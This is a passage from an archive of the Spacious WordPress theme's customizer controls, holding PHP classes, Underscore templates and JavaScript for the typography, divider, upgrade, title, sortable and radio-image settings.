<span class="customize-control-title"><?php esc_html_e( 'Weight', 'spacious' ); ?></span> <div class="spacious-field-content"> <select {{{ data.inputAttrs }}} id="spacious-font-weight-{{{ data.id || data.name }}}"></select> </div> </div> <# } #> <# if ( data.default['subsets'] ) { #> <div class="subsets"> <span class="customize-control-title"><?php esc_html_e( 'Subset(s)', 'spacious' ); ?></span> <div class="spacious-field-content"> <select {{{ data.inputAttrs }}} id="spacious-subsets-{{{ data.id || data.name }}}" multiple> <# _.each( data.value.subsets, function( subset ) { #> <option value="{{ subset }}" selected="selected">{{ data.languages[ subset ] }}</option> <# } ); #> </select> </div> </div> <# } #> <# } #> <# if ( data.default['font-size'] ) { #> <div class="font-size"> <span class="customize-control-title"><?php esc_html_e( 'Size', 'spacious' ); ?></span> <ul class="responsive-switchers"> <li class="desktop"> <button type="button" class="preview-desktop active" data-device="desktop"> <i class="dashicons dashicons-desktop"></i> </button> </li> <li class="tablet"> <button type="button" class="preview-tablet" data-device="tablet"> <i class="dashicons dashicons-tablet"></i> </button> </li> <li class="mobile"> <button type="button" class="preview-mobile" data-device="mobile"> <i class="dashicons dashicons-smartphone"></i> </button> </li> </ul> <div class="desktop control-wrap active"> <input type="text" id="spacious-font-size-desktop-{{{ data.id || data.name }}}" data-device="desktop" <# if ( data.value['font-size'] ) { #> value="{{ data.value['font-size']['desktop'] }}" <# } else { #> value="{{ data.default['font-size']['desktop'] }}" <# } #> <# if ( data.input_attrs && data.input_attrs['desktop'] ) { #> <# if ( data.input_attrs['desktop']['font-size']['step'] ) { #> step="{{ data.input_attrs['desktop']['font-size']['step'] }}" <# } #> <# if ( 0 == data.input_attrs['desktop']['font-size']['min'] || data.input_attrs['desktop']['font-size']['min'] ) { #> min="{{ data.input_attrs['desktop']['font-size']['min'] }}" <# } #> <# if ( data.input_attrs['desktop']['font-size']['max'] ) { #> max="{{ data.input_attrs['desktop']['font-size']['max'] }}" <# } #> <# } #> /> </div> <div class="tablet control-wrap"> <input type="text" id="spacious-font-size-tablet-{{{ data.id || data.name }}}" data-device="tablet" <# if ( data.value['font-size'] ) { #> value="{{ data.value['font-size']['tablet'] }}" <# } else { #> value="{{ data.default['font-size']['tablet'] }}" <# } #> <# if ( data.input_attrs && data.input_attrs['tablet'] ) { #> <# if ( data.input_attrs['tablet']['font-size']['step'] ) { #> step="{{ data.input_attrs['tablet']['font-size']['step'] }}" <# } #> <# if ( 0 == data.input_attrs['tablet']['font-size']['min'] || data.input_attrs['tablet']['font-size']['min'] ) { #> min="{{ data.input_attrs['tablet']['font-size']['min'] }}" <# } #> <# if ( data.input_attrs['tablet']['font-size']['max'] ) { #> max="{{ data.input_attrs['tablet']['font-size']['max'] }}" <# } #> <# } #> /> </div> <div class="mobile control-wrap"> <input type="text" id="spacious-font-size-mobile-{{{ data.id || data.name }}}" data-device="mobile" <# if ( data.value['font-size'] ) { #> value="{{ data.value['font-size']['mobile'] }}" <# } else { #> value="{{ data.default['font-size']['mobile'] }}" <# } #> <# if ( data.input_attrs && data.input_attrs['mobile'] ) { #> <# if ( data.input_attrs['mobile']['font-size']['step'] ) { #> step="{{ data.input_attrs['mobile']['font-size']['step'] }}" <# } #> <# if ( 0 == data.input_attrs['mobile']['font-size']['min'] || data.input_attrs['mobile']['font-size']['min'] ) { #> min="{{ data.input_attrs['mobile']['font-size']['min'] }}" <# } #> <# if ( data.input_attrs['mobile']['font-size']['max'] ) { #> max="{{ data.input_attrs['mobile']['font-size']['max'] }}" <# } #> <# } #> /> </div> </div> <# } #> <# if ( data.default['line-height'] ) { #> <div class="line-height"> <span class="customize-control-title"><?php esc_html_e( 'Line Height', 'spacious' ); ?></span> <ul class="responsive-switchers"> <li class="desktop"> <button type="button" class="preview-desktop active" data-device="desktop"> <i class="dashicons dashicons-desktop"></i> </button> </li> <li class="tablet"> <button type="button" class="preview-tablet" data-device="tablet"> <i class="dashicons dashicons-tablet"></i> </button> </li> <li class="mobile"> <button type="button" class="preview-mobile" data-device="mobile"> <i class="dashicons dashicons-smartphone"></i> </button> </li> </ul> <div class="desktop control-wrap active"> <input type="text" id="spacious-line-height-desktop-{{{ data.id || data.name }}}" data-device="desktop" <# if ( data.value['line-height'] ) { #> value="{{ data.value['line-height']['desktop'] }}" <# } else { #> value="{{ data.default['line-height']['desktop'] }}" <# } #> <# if ( data.input_attrs && data.input_attrs['desktop'] ) { #> <# if ( data.input_attrs['desktop']['line-height']['step'] ) { #> step="{{ data.input_attrs['desktop']['line-height']['step'] }}" <# } #> <# if ( 0 == data.input_attrs['desktop']['line-height']['min'] || data.input_attrs['desktop']['line-height']['min'] ) { #> min="{{ data.input_attrs['desktop']['line-height']['min'] }}" <# } #> <# if ( data.input_attrs['desktop']['line-height']['max'] ) { #> max="{{ data.input_attrs['desktop']['line-height']['max'] }}" <# } #> <# } #> /> </div> <div class="tablet control-wrap"> <input type="text" id="spacious-line-height-tablet-{{{ data.id || data.name }}}" data-device="tablet" <# if ( data.value['line-height'] ) { #> value="{{ data.value['line-height']['tablet'] }}" <# } else { #> value="{{ data.default['line-height']['tablet'] }}" <# } #> <# if ( data.input_attrs && data.input_attrs['tablet'] ) { #> <# if ( data.input_attrs['tablet']['line-height']['step'] ) { #> step="{{ data.input_attrs['tablet']['line-height']['step'] }}" <# } #> <# if ( 0 == data.input_attrs['tablet']['line-height']['min'] || data.input_attrs['tablet']['line-height']['min'] ) { #> min="{{ data.input_attrs['tablet']['line-height']['min'] }}" <# } #> <# if ( data.input_attrs['tablet']['line-height']['max'] ) { #> max="{{ data.input_attrs['tablet']['line-height']['max'] }}" <# } #> <# } #> /> </div> <div class="mobile control-wrap"> <input type="text" id="spacious-line-height-mobile-{{{ data.id || data.name }}}" data-device="mobile" <# if ( data.value['line-height'] ) { #> value="{{ data.value['line-height']['mobile'] }}" <# } else { #> value="{{ data.default['line-height']['mobile'] }}" <# } #> <# if ( data.input_attrs && data.input_attrs['mobile'] ) { #> <# if ( data.input_attrs['mobile']['line-height']['step'] ) { #> step="{{ data.input_attrs['mobile']['line-height']['step'] }}" <# } #> <# if ( 0 == data.input_attrs['mobile']['line-height']['min'] || data.input_attrs['mobile']['line-height']['min'] ) { #> min="{{ data.input_attrs['mobile']['line-height']['min'] }}" <# } #> <# if ( data.input_attrs['mobile']['line-height']['max'] ) { #> max="{{ data.input_attrs['mobile']['line-height']['max'] }}" <# } #> <# } #> /> </div> </div> <# } #> <# if ( data.default['letter-spacing'] ) { #> <div class="letter-spacing"> <span class="customize-control-title"><?php esc_html_e( 'Letter Spacing', 'spacious' ); ?></span> <ul class="responsive-switchers"> <li class="desktop"> <button type="button" class="preview-desktop active" data-device="desktop"> <i class="dashicons dashicons-desktop"></i> </button> </li> <li class="tablet"> <button type="button" class="preview-tablet" data-device="tablet"> <i class="dashicons dashicons-tablet"></i> </button> </li> <li class="mobile"> <button type="button" class="preview-mobile" data-device="mobile"> <i class="dashicons dashicons-smartphone"></i> </button> </li> </ul> <div class="desktop control-wrap active"> <input type="text" id="spacious-letter-spacing-desktop-{{{ data.id || data.name }}}" data-device="desktop" <# if ( data.value['letter-spacing'] ) { #> value="{{ data.value['letter-spacing']['desktop'] }}" <# } else { #> value="{{ data.default['letter-spacing']['desktop'] }}" <# } #> <# if ( data.input_attrs && data.input_attrs['desktop'] ) { #> <# if ( data.input_attrs['desktop']['letter-spacing']['step'] ) { #> step="{{ data.input_attrs['desktop']['letter-spacing']['step'] }}" <# } #> <# if ( 0 == data.input_attrs['desktop']['letter-spacing']['min'] || data.input_attrs['desktop']['letter-spacing']['min'] ) { #> min="{{ data.input_attrs['desktop']['letter-spacing']['min'] }}" <# } #> <# if ( data.input_attrs['desktop']['letter-spacing']['max'] ) { #> max="{{ data.input_attrs['desktop']['letter-spacing']['max'] }}" <# } #> <# } #> /> </div> <div class="tablet control-wrap"> <input type="text" id="spacious-letter-spacing-tablet-{{{ data.id || data.name }}}" data-device="tablet" <# if ( data.value['letter-spacing'] ) { #> value="{{ data.value['letter-spacing']['tablet'] }}" <# } else { #> value="{{ data.default['letter-spacing']['tablet'] }}" <# } #> <# if ( data.input_attrs && data.input_attrs['tablet'] ) { #> <# if ( data.input_attrs['tablet']['letter-spacing']['step'] ) { #> step="{{ data.input_attrs['tablet']['letter-spacing']['step'] }}" <# } #> <# if ( 0 == data.input_attrs['tablet']['letter-spacing']['min'] || data.input_attrs['tablet']['letter-spacing']['min'] ) { #> min="{{ data.input_attrs['tablet']['letter-spacing']['min'] }}" <# } #> <# if ( data.input_attrs['tablet']['letter-spacing']['max'] ) { #> max="{{ data.input_attrs['tablet']['letter-spacing']['max'] }}" <# } #> <# } #> /> </div> <div class="mobile control-wrap"> <input type="text" id="spacious-letter-spacing-mobile-{{{ data.id || data.name }}}" data-device="mobile" <# if ( data.value['letter-spacing'] ) { #> value="{{ data.value['letter-spacing']['mobile'] }}" <# } else { #> value="{{ data.default['letter-spacing']['mobile'] }}" <# } #> <# if ( data.input_attrs && data.input_attrs['mobile'] ) { #> <# if ( data.input_attrs['mobile']['letter-spacing']['step'] ) { #> step="{{ data.input_attrs['mobile']['letter-spacing']['step'] }}" <# } #> <# if ( 0 == data.input_attrs['mobile']['letter-spacing']['min'] || data.input_attrs['mobile']['letter-spacing']['min'] ) { #> min="{{ data.input_attrs['mobile']['letter-spacing']['min'] }}" <# } #> <# if ( data.input_attrs['mobile']['letter-spacing']['max'] ) { #> max="{{ data.input_attrs['mobile']['letter-spacing']['max'] }}" <# } #> <# } #> /> </div> </div> <# } #> <# if ( data.default['font-style'] ) { #> <div class="font-style"> <span class="customize-control-title"><?php esc_html_e( 'Style', 'spacious' ); ?></span> <div class="spacious-field-content"> <select {{{ data.inputAttrs }}} id="spacious-font-style-{{{ data.id || data.name }}}"> <option value="normal" <# if ( 'normal' === data.value['font-style'] ) { #> selected <# } #>><?php esc_html_e( 'Normal', 'spacious' ); ?></option> <option value="italic" <# if ( 'italic' === data.value['font-style'] ) { #> selected <# } #>><?php esc_html_e( 'Italic', 'spacious' ); ?></option> <option value="oblique" <# if ( 'oblique' === data.value['font-style'] ) { #> selected <# } #>><?php esc_html_e( 'Oblique', 'spacious' ); ?></option> <option value="initial" <# if ( 'initial' === data.value['font-style'] ) { #> selected <# } #>><?php esc_html_e( 'Initial', 'spacious' ); ?></option> <option value="inherit" <# if ( 'inherit' === data.value['font-style'] ) { #> selected <# } #>><?php esc_html_e( 'Inherit', 'spacious' ); ?></option> </select> </div> </div> <# } #> <# if ( data.default['text-transform'] ) { #> <div class="text-transform"> <span class="customize-control-title"><?php esc_html_e( 'Transform', 'spacious' ); ?></span> <div class="spacious-field-content"> <select {{{ data.inputAttrs }}} id="spacious-text-transform-{{{ data.id || data.name }}}"> <option value="none" <# if ( 'none' === data.value['text-transform'] ) { #> selected <# } #>><?php esc_html_e( 'None', 'spacious' ); ?></option> <option value="capitalize" <# if ( 'capitalize' === data.value['text-transform'] ) { #> selected <# } #>><?php esc_html_e( 'Capitalize', 'spacious' ); ?></option> <option value="uppercase" <# if ( 'uppercase' === data.value['text-transform'] ) { #> selected <# } #>><?php esc_html_e( 'Uppercase', 'spacious' ); ?></option> <option value="lowercase" <# if ( 'lowercase' === data.value['text-transform'] ) { #> selected <# } #>><?php esc_html_e( 'Lowercase', 'spacious' ); ?></option> <option value="initial" <# if ( 'initial' === data.value['text-transform'] ) { #> selected <# } #>><?php esc_html_e( 'Initial', 'spacious' ); ?></option> <option value="inherit" <# if ( 'inherit' === data.value['text-transform'] ) { #> selected <# } #>><?php esc_html_e( 'Inherit', 'spacious' ); ?></option> </select> </div> </div> <# } #> <# if ( data.default['text-decoration'] ) { #> <div class="text-decoration"> <span class="customize-control-title"><?php esc_html_e( 'Decoration', 'spacious' ); ?></span> <div class="spacious-field-content"> <select {{{ data.inputAttrs }}} id="spacious-text-decoration-{{{ data.id || data.name }}}"> <option value="none" <# if ( 'none' === data.value['text-decoration'] ) { #> selected <# } #>><?php esc_html_e( 'None', 'spacious' ); ?></option> <option value="underline" <# if ( 'underline' === data.value['text-decoration'] ) { #> selected <# } #>><?php esc_html_e( 'Underline', 'spacious' ); ?></option> <option value="overline" <# if ( 'overline' === data.value['text-decoration'] ) { #> selected <# } #>><?php esc_html_e( 'Overline', 'spacious' ); ?></option> <option value="line-through" <# if ( 'line-through' === data.value['text-decoration'] ) { #> selected <# } #>><?php esc_html_e( 'Line Through', 'spacious' ); ?></option> <option value="initial" <# if ( 'initial' === data.value['text-decoration'] ) { #> selected <# } #>><?php esc_html_e( 'Initial', 'spacious' ); ?></option> <option value="inherit" <# if ( 'inherit' === data.value['text-decoration'] ) { #> selected <# } #>><?php esc_html_e( 'Inherit', 'spacious' ); ?></option> </select> </div> </div> <# } #> <input class="typography-hidden-value" value="{{ JSON.stringify( data.value ) }}" type="hidden" {{{ data.link }}} > </div> <?php } /** * Renders the control wrapper and calls $this->render_content() for the internals. */ protected function render() { $id = 'customize-control-' . str_replace( array( '[', ']' ), array( '-', '' ), $this->id ); $class = 'customize-control has-responsive-switchers customize-control-' . $this->type; ?> <li id="<?php echo esc_attr( $id ); ?>" class="<?php echo esc_attr( $class ); ?>"> <?php $this->render_content(); ?> </li> <?php } /** * Don't render the control content from PHP, as it's rendered via JS on load. */ public function render_content() { } } core/custom-controls/typography/typography.js000066600000024306152367043330015640 0ustar00/** * Typography control JS to handle the typography customize option. * * File `typography.js`. * * @package Spacious */ wp.customize.controlConstructor['spacious-typography'] = wp.customize.Control.extend( { ready : function () { 'use strict'; var control = this; // On customizer load, render the available font options. control.renderFontSelector(); control.renderVariantSelector(); control.renderSubsetSelector(); // Font style setting. control.container.on( 'change', '.font-style select', function () { control.saveValue( 'font-style', jQuery( this ).val() ); } ); // Text transform setting. control.container.on( 'change', '.text-transform select', function () { control.saveValue( 'text-transform', jQuery( this ).val() ); } ); // Text decoration setting. control.container.on( 'change', '.text-decoration select', function () { control.saveValue( 'text-decoration', jQuery( this ).val() ); } ); // Font size setting. control.container.on( 'change keyup paste input', '.font-size input', function () { control.updateFontSize(); } ); // Line height setting. control.container.on( 'change keyup paste input', '.line-height input', function () { control.updateLineHeight(); } ); // Letter spacing setting. control.container.on( 'change keyup paste input', '.letter-spacing input', function () { control.updateLetterSpacing(); } ); }, renderFontSelector : function () { var control = this, selector = control.selector + ' .font-family select', standardFonts = [], googleFonts = [], customFonts = [], value = control.setting._value, fonts = control.getFonts(), fontSelect; // Format standard fonts as an array. if ( ! _.isUndefined( fonts.standard ) ) { _.each( fonts.standard, function ( font ) { standardFonts.push( { id : font.family.replace( /"/g, ''' ), text : font.label } ); } ); } // Format Google fonts as an array. if ( ! _.isUndefined( fonts.google ) ) { _.each( fonts.google, function ( font ) { googleFonts.push( { id : font.family, text : font.label } ); } ); } // Combine fonts and build the final data. data = [ { text : fonts.standardfontslabel, children : standardFonts }, { text : fonts.googlefontslabel, children : googleFonts } ]; // Format custom fonts as an array. if ( ! _.isUndefined( fonts.custom ) ) { _.each( fonts.custom, function ( font ) { customFonts.push( { id : font.family, text : font.label } ); } ); // Merge on `data` array. data.push( { text : fonts.customfontslabel, children : customFonts } ); } // Instantiate selectWoo with the data. fontSelect = jQuery( selector ).selectWoo( { data : data, width : '100%' } ); // Set the initial value. if ( value['font-family'] ) { fontSelect.val( value['font-family'].replace( /'/g, '"' ) ).trigger( 'change' ); } // When the font option value changes. fontSelect.on( 'change', function () { // Set the value. control.saveValue( 'font-family', jQuery( this ).val() ); // Render new list of selected font options. control.renderVariantSelector(); control.renderSubsetSelector(); } ); }, getFonts : function () { var control = this; if ( ! _.isUndefined( SpaciousCustomizerControlTypography ) ) { return SpaciousCustomizerControlTypography; } return { google : [], standard : [] }; }, renderVariantSelector : function () { var control = this, value = control.setting._value, fontFamily = value['font-family'], variants = control.getVariants( fontFamily ), selector = control.selector + ' .font-weight select', data = [], isValid = false, variantSelector; if ( false !== variants ) { jQuery( control.selector + ' .font-weight' ).show(); _.each( variants, function ( variant ) { if ( value['font-weight'] === variant.id ) { isValid = true; } data.push( { id : variant.id, text : variant.label } ); } ); if ( ! isValid ) { value['font-weight'] = 'regular'; } if ( jQuery( selector ).hasClass( 'select2-hidden-accessible' ) ) { jQuery( selector ).selectWoo( 'destroy' ); jQuery( selector ).empty(); } // Instantiate selectWoo with the data. variantSelector = jQuery( selector ).selectWoo( { data : data, width : '100%' } ); variantSelector.val( value['font-weight'] ).trigger( 'change' ); variantSelector.on( 'change', function () { control.saveValue( 'font-weight', jQuery( this ).val() ); } ); } else { jQuery( control.selector + ' .font-weight' ).hide(); } }, getVariants : function ( fontFamily ) { var control = this, fonts = control.getFonts(); var variants = false; _.each( fonts.standard, function ( font ) { if ( fontFamily && font.family === fontFamily.replace( /'/g, '"' ) ) { variants = font.variants; return variants; } } ); _.each( fonts.google, function ( font ) { if ( font.family === fontFamily ) { variants = font.variants; return variants; } } ); // For custom fonts. if ( ! _.isUndefined( fonts.custom ) ) { _.each( fonts.custom, function ( font ) { if ( font.custom === fontFamily ) { variants = font.variants; return variants; } } ); } return variants; }, renderSubsetSelector : function () { var control = this, value = control.setting._value, fontFamily = value['font-family'], subsets = control.getSubsets( fontFamily ), selector = control.selector + ' .subsets select', data = [], validValue = value.subsets, subsetSelector; if ( false !== subsets ) { jQuery( control.selector + ' .subsets' ).show(); _.each( subsets, function ( subset ) { if ( _.isObject( validValue ) ) { if ( - 1 === validValue.indexOf( subset.id ) ) { validValue = _.reject( validValue, function ( subValue ) { return subValue === subset.id; } ); } } data.push( { id : subset.id, text : subset.label } ); } ); } else { jQuery( control.selector + ' .subsets' ).hide(); } if ( jQuery( selector ).hasClass( 'select2-hidden-accessible' ) ) { jQuery( selector ).selectWoo( 'destroy' ); jQuery( selector ).empty(); } // Instantiate selectWoo with the data. subsetSelector = jQuery( selector ).selectWoo( { data : data, width : '100%' } ); subsetSelector.val( validValue ).trigger( 'change' ); subsetSelector.on( 'change', function () { control.saveValue( 'subsets', jQuery( this ).val() ); } ); }, getSubsets : function ( fontFamily ) { var control = this, subsets = false, fonts = control.getFonts(); _.each( fonts.google, function ( font ) { if ( font.family === fontFamily ) { subsets = font.subsets; return subsets; } } ); return subsets; }, saveValue : function ( property, value ) { var control = this, input = control.container.find( '.typography-hidden-value' ), val = control.setting._value; val[property] = value; jQuery( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' ); control.setting.set( val ); }, updateFontSize : function () { var control = this, val = control.setting._value, input = control.container.find( '.typography-hidden-value' ), newValue = { 'font-size' : {} }; control.container.find( '.font-size .control-wrap' ).each( function () { var controlValue = jQuery( this ).find( 'input' ).val(); var device = jQuery( this ).find( 'input' ).data( 'device' ); newValue['font-size'][device] = controlValue; } ); // Extend/Update the `val` object to include `newValue`'s new data as an object. jQuery.extend( val, newValue ); jQuery( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' ); control.setting.set( val ); }, updateLineHeight : function () { var control = this, val = control.setting._value, input = control.container.find( '.typography-hidden-value' ), newValue = { 'line-height' : {} }; control.container.find( '.line-height .control-wrap' ).each( function () { var controlValue = jQuery( this ).find( 'input' ).val(); var device = jQuery( this ).find( 'input' ).data( 'device' ); newValue['line-height'][device] = controlValue; } ); // Extend/Update the `val` object to include `newValue`'s new data as an object. jQuery.extend( val, newValue ); jQuery( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' ); control.setting.set( val ); }, updateLetterSpacing : function () { var control = this, val = control.setting._value, input = control.container.find( '.typography-hidden-value' ), newValue = { 'letter-spacing' : {} }; control.container.find( '.letter-spacing .control-wrap' ).each( function () { var controlValue = jQuery( this ).find( 'input' ).val(); var device = jQuery( this ).find( 'input' ).data( 'device' ); newValue['letter-spacing'][device] = controlValue; } ); // Extend/Update the `val` object to include `newValue`'s new data as an object. jQuery.extend( val, newValue ); jQuery( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' ); control.setting.set( val ); } } ); core/custom-controls/divider/class-spacious-divider-control.php000066600000003515152367043330021057 0ustar00<?php /** * Extend WP_Customize_Control to add the divider control. * * Class Spacious_Divider_Control * * @package ThemeGrill * @subpackage Spacious * @since Spacious 3.0.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Class to extend WP_Customize_Control to add the divider customize control. * * Class Spacious_Divider_Control */ class Spacious_Divider_Control extends Spacious_Customize_Base_Additional_Control { /** * Control's Type. * * @var string */ public $type = 'spacious-divider'; /** * Divider placement * * @var string */ public $placement = 'above'; /** * Refresh the parameters passed to the JavaScript via JSON. * * @see WP_Customize_Control::to_json() */ public function to_json() { parent::to_json(); $this->json['label'] = esc_html( $this->label ); $this->json['description'] = $this->description; $this->json['placement'] = $this->placement; } /** * An Underscore (JS) template for this control's content (but not its container). * * Class variables for this control class are available in the `data` JS object; * export custom variables by overriding {@see WP_Customize_Control::to_json()}. * * @see WP_Customize_Control::print_template() * * @access protected */ protected function content_template() { ?> <div class="divider-placement-{{ data.placement }}"> <# if ( data.placement == 'above' ) { #> <hr /> <# } #> <div class="customizer-text"> <# if ( data.label ) { #> <span class="customize-control-title">{{{ data.label }}}</span> <# } #> <# if ( data.description ) { #> <span class="description customize-control-description">{{{ data.description }}}</span> <# } #> </div> <# if ( data.placement == 'below' ) { #> <hr /> <# } #> </div> <?php } } core/custom-controls/upgrade/class-spacious-upgrade-control.php000066600000002654152367043330021064 0ustar00<?php /** * Customize Upgrade control class. * * @package spacious * * @since 1.4.6 * @see WP_Customize_Control * @access public */ /** * Class Spacious_Customize_Heading_Control */ class Spacious_Upgrade_Control extends Spacious_Customize_Base_Additional_Control { /** * Customize control type. * * @access public * @var string */ public $type = 'spacious-upgrade'; /** * Custom links for this control. * * @var array */ public $url = ''; /** * Refresh the parameters passed to the JavaScript via JSON. * * @see WP_Customize_Control::to_json() */ public function to_json() { parent::to_json(); $this->json['default'] = $this->setting->default; if ( isset( $this->default ) ) { $this->json['default'] = $this->default; } $this->json['url'] = esc_url( $this->url ); } /** * Renders the Underscore template for this control. * * @see WP_Customize_Control::print_template() * @access protected * @return void */ protected function content_template() { ?> <p class="description upgrade-description">{{{ data.description }}}</p> <span> <a href="{{{data.url}}}" class="button button-primary" target="_blank"> {{ data.label }} </a> </span> <?php } /** * Render content is still called, so be sure to override it with an empty function in your subclass as well. */ protected function render_content() { } }core/custom-controls/title/class-spacious-title-control.php000066600000004212152367043330020240 0ustar00<?php /** * Extend WP_Customize_Control to add the title control. * * Class Spacious_Title_Control * * @package ThemeGrill * @subpackage Spacious * @since Spacious 3.0.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Class to extend WP_Customize_Control to add the title customize control. * * Class Spacious_Title_Control */ class Spacious_Title_Control extends Spacious_Customize_Base_Additional_Control { /** * Control's Type. * * @var string */ public $type = 'spacious-title'; public $link = ''; /** * Refresh the parameters passed to the JavaScript via JSON. * * @see WP_Customize_Control::to_json() */ public function to_json() { parent::to_json(); $this->json['label'] = esc_html( $this->label ); $this->json['description'] = $this->description; $this->json['link'] = esc_url( $this->link ); } /** * An Underscore (JS) template for this control's content (but not its container). * * Class variables for this control class are available in the `data` JS object; * export custom variables by overriding {@see WP_Customize_Control::to_json()}. * * @see WP_Customize_Control::print_template() * * @access protected */ protected function content_template() { ?> <div class="spacious-title-wrapper"> <label class="customizer-text"> <# if ( data.label ) { #> <span class="customize-control-title">{{{ data.label }}}</span> <# if ( data.description ) { #> <span class="tool-tip"> <i class="dashicons dashicons-editor-help"></i> <span class="tooltip-text">{{{ data.description }}}</span> </span> <# } #> <# } #> </label> <# if ( data.link ) { #> <div class="guide-tutorial"> <span class="control-url"> <a href= " {{{data.link}}} " target="_blank">Doc</a> </span> </div> <# } #> </div> <?php } /** * Don't render the control content from PHP, as it's rendered via JS on load. */ public function render_content() { } } core/custom-controls/sortable/sortable.js000066600000002553152367043330014652 0ustar00/** * Sortable control JS to handle the sortable feature of custom customize controls. * * File `sortable.js`. * * @package Spacious */ wp.customize.controlConstructor['spacious-sortable'] = wp.customize.Control.extend( { ready : function () { 'use strict'; var control = this; // Set the sortable container. control.sortableContainer = control.container.find( 'ul.sortable' ).first(); // Init sortable. control.sortableContainer.sortable( { // Update value when we stop sorting. stop : function () { control.updateValue(); } } ).disableSelection().find( 'li' ).each( function () { // Enable/disable options when we click on the eye of Thundera. jQuery( this ).find( 'i.visibility' ).click( function () { jQuery( this ).toggleClass( 'dashicons-visibility-faint' ).parents( 'li:eq(0)' ).toggleClass( 'invisible' ); } ); } ).click( function () { // Update value on click. control.updateValue(); } ); }, updateValue : function () { 'use strict'; var control = this, newValue = []; this.sortableContainer.find( 'li' ).each( function () { if ( ! jQuery( this ).is( '.invisible' ) ) { newValue.push( jQuery( this ).data( 'value' ) ); } } ); control.setting.set( newValue ); } } ); core/custom-controls/sortable/class-spacious-sortable-control.php000066600000006230152367043330021426 0ustar00<?php /** * Extend WP_Customize_Control to add the sortable control. * * Class Spacious_Sortable_Control * * @package ThemeGrill * @subpackage Spacious * @since Spacious 3.0.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Class to extend WP_Customize_Control to add the sortable customize control. * * Class Spacious_Sortable_Control */ class Spacious_Sortable_Control extends Spacious_Customize_Base_Additional_Control { /** * Control's Type. * * @var string */ public $type = 'spacious-sortable'; /** * Refresh the parameters passed to the JavaScript via JSON. * * @see WP_Customize_Control::to_json() */ public function to_json() { parent::to_json(); $this->json['default'] = $this->setting->default; if ( isset( $this->default ) ) { $this->json['default'] = $this->default; } $this->json['value'] = $this->value(); $this->json['link'] = $this->get_link(); $this->json['id'] = $this->id; $this->json['label'] = esc_html( $this->label ); $this->json['description'] = $this->description; $this->json['choices'] = $this->choices; $this->json['inputAttrs'] = ''; foreach ( $this->input_attrs as $attr => $value ) { $this->json['inputAttrs'] .= $attr . '="' . esc_attr( $value ) . '" '; } } /** * An Underscore (JS) template for this control's content (but not its container). * * Class variables for this control class are available in the `data` JS object; * export custom variables by overriding {@see WP_Customize_Control::to_json()}. * * @see WP_Customize_Control::print_template() * * @access protected */ protected function content_template() { ?> <div class="customizer-text"> <# if ( data.label ) { #> <span class="customize-control-title">{{{ data.label }}}</span> <# } #> <# if ( data.description ) { #> <span class="description customize-control-description">{{{ data.description }}}</span> <# } #> </div> <ul class="sortable"> <# _.each( data.value, function( choiceID ) { #> <# if ( data.choices[ choiceID ] ) { #> <li {{{ data.inputAttrs }}} class='spacious-sortable-item' data-value='{{ choiceID }}'> <i class='dashicons dashicons-menu'></i> <i class="dashicons dashicons-visibility visibility"></i> {{{ data.choices[ choiceID ] }}} </li> <# } #> <# } ); #> <# _.each( data.choices, function( choiceLabel, choiceID ) { #> <# if ( Array.isArray(data.value) && -1 === data.value.indexOf( choiceID ) ) { #> <li {{{ data.inputAttrs }}} class='spacious-sortable-item invisible' data-value='{{ choiceID }}'> <i class='dashicons dashicons-menu'></i> <i class="dashicons dashicons-visibility visibility"></i> {{{ choiceLabel }}} </li> <# } #> <# } ); #> </ul> <?php } /** * Don't render the control content from PHP, as it's rendered via JS on load. */ public function render_content() { } } core/custom-controls/radio-image/radio-image.js000066600000000675152367043330015563 0ustar00/** * Radio image control JS to handle the toggle of radio images. * * File `radio-image.js`. * * @package Spacious */ wp.customize.controlConstructor[ 'spacious-radio-image' ] = wp.customize.Control.extend( { ready : function () { 'use strict'; var control = this; // Change the value. this.container.on( 'click', 'input', function () { control.setting.set( jQuery( this ).val() ); } ); } } ); core/custom-controls/radio-image/class-spacious-radio-image-control.php000066600000006400152367043330022333 0ustar00<?php /** * Extend WP_Customize_Control to add the radio image. * * Class Spacious_Radio_Image_Control * * @package ThemeGrill * @subpackage Spacious * @since Spacious 3.0.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Class to extend WP_Customize_Control to add the radio image customize control. * * Class Spacious_Radio_Image_Control */ class Spacious_Radio_Image_Control extends Spacious_Customize_Base_Additional_Control { /** * Control's Type. * * @var string */ public $type = 'spacious-radio-image'; /** * Column for image. * * @var int */ public $image_col = 1; /** * Refresh the parameters passed to the JavaScript via JSON. * * @see WP_Customize_Control::to_json() */ public function to_json() { parent::to_json(); $this->json['default'] = $this->setting->default; if ( isset( $this->default ) ) { $this->json['default'] = $this->default; } $this->json['value'] = $this->value(); $this->json['link'] = $this->get_link(); $this->json['id'] = $this->id; $this->json['label'] = esc_html( $this->label ); $this->json['description'] = $this->description; $this->json['image_col'] = $this->image_col; foreach ( $this->choices as $key => $value ) { $this->json['choices'][ $key ] = $value['url']; $this->json['choices_titles'][ $key ] = $value['label']; } $this->json['inputAttrs'] = ''; $this->json['labelStyle'] = ''; foreach ( $this->input_attrs as $attr => $value ) { if ( 'style' !== $attr ) { $this->json['inputAttrs'] .= $attr . '="' . esc_attr( $value ) . '" '; } else { $this->json['labelStyle'] = 'style="' . esc_attr( $value ) . '" '; } } } /** * An Underscore (JS) template for this control's content (but not its container). * * Class variables for this control class are available in the `data` JS object; * export custom variables by overriding {@see WP_Customize_Control::to_json()}. * * @see WP_Customize_Control::print_template() * * @access protected */ protected function content_template() { ?> <div class="customizer-text"> <# if ( data.label ) { #> <span class="customize-control-title">{{{ data.label }}}</span> <# } #> <# if ( data.description ) { #> <span class="description customize-control-description">{{{ data.description }}}</span> <# } #> </div> <div id="input_{{ data.id }}" class="image image-col-{{{ data.image_col }}}"> <# for ( key in data.choices ) { #> <input {{{ data.inputAttrs }}} class="image-select" type="radio" value="{{ key }}" name="_customize-radio-{{ data.id }}" id="{{ data.id }}{{ key }}" {{{ data.link }}} <# if ( data.value === key ) { #> checked="checked"<# } #> > <label for="{{ data.id }}{{ key }}" {{{ data.labelStyle }}} class="spacious-radio-image"> 